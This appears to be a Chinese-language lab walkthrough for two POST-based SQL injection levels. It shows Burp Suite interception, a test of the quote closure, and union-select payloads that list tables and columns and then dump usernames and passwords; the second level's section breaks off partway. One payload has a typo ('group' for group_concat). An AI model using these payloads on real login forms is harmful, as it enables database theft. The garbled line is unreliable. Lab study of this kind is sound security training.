第十一关:POST型的单引号报错注入点
方法:联合查询
输入用户名密码,打开bp进行抓包。
将抓到的包发送到repeater模块
首先猜测注入点在用户名上,判断闭合的方式是单引号,还是其他的。用单引号闭合时回显正常。
用双引号闭合时没用,回显,可知是用单引号闭合的。
判断列数
可知有两列,接下来我们就可用联合查询了。判断联合查询的回显是否正常。
接下来得到表名,语法:dumb' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
.
然后爆出字段名,语法:dumb' and 1=2 union select 1,group(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
。
最后爆出详细的数据,语法:dumb' and 1=2 union select 1,group_concat(username,"-",password) from users --+
。
第十二关:POST型的双引号加小括号的注入点
方法:联合查询
登录进行抓包
注入点在用户名上,判断他的闭合方式
单引号没有回显,说明闭合的方式不是单引号,我们试试双引号,回显语法错误,根据之前的经验,我们判断这里可能有小括号.